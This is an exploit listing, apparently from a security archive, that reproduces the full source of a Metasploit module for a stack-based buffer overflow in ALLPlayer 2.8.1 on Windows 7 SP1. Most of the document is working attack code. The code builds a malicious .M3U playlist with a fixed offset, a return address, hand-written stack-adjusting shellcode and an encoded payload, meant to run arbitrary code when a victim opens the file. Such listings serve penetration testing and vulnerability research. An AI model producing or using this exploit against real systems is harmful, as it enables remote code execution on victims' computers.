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ALLPlayer M3U Buffer Overflow

ALLPlayer M3U Buffer Overflow
Posted Mar 5, 2014
Authored by Gabor Seljan, metacom, Mike Czumak | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in ALLPlayer 2.8.1, caused by a long string in a playlist entry. By persuading the victim to open a specially-crafted .M3U file, a remote attacker could execute arbitrary code on the system or cause the application to crash. This Metasploit module has been tested successfully on Windows 7 SP1.

tags | exploit, remote, overflow, arbitrary
systems | windows, 7
advisories | OSVDB-98283
MD5 | d2791d7a5dcefb9b55da526000c67857

ALLPlayer M3U Buffer Overflow

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'ALLPlayer M3U Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
ALLPlayer 2.8.1, caused by a long string in a playlist entry.
By persuading the victim to open a specially-crafted .M3U file, a
remote attacker could execute arbitrary code on the system or cause
the application to crash. This module has been tested successfully on
Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom', # Vulnerability discovery
'Mike Czumak', # Original exploit
'Gabor Seljan' # Metasploit module
],
'References' =>
[
[ 'BID', '62926' ],
[ 'BID', '63896' ],
[ 'EDB', '28855' ],
[ 'EDB', '29549' ],
[ 'EDB', '29798' ],
[ 'EDB', '32041' ],
[ 'OSVDB', '98283' ],
[ 'URL', 'http://www.allplayer.org/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",
'Space' => 3060,
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EAX'
}
},
'Targets' =>
[
[ ' ALLPlayer 2.8.1 / Windows 7 SP1',
{
'Offset' => 301,
'Ret' => "\x50\x45", # POP POP RET from ALLPlayer.exe
'Nop' => "\x6e" # ADD BYTE PTR DS:[ESI],CH
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 09 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
],
self.class)

end


def exploit
nop = target['Nop']

sploit = rand_text_alpha_upper(target['Offset'])
sploit << "\x61\x50" # POPAD
sploit << target.ret
sploit << "\x53" # PUSH EBX
sploit << nop
sploit << "\x58" # POP EAX
sploit << nop
sploit << "\x05\x14\x11" # ADD EAX,0x11001400
sploit << nop
sploit << "\x2d\x13\x11" # SUB EAX,0x11001300
sploit << nop
sploit << "\x50" # PUSH EAX
sploit << nop
sploit << "\xc3" # RET
sploit << nop * 109
sploit << payload.encoded
sploit << rand_text_alpha_upper(10000) # Generate exception

# Create the file
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create("http://" + sploit)

end
end

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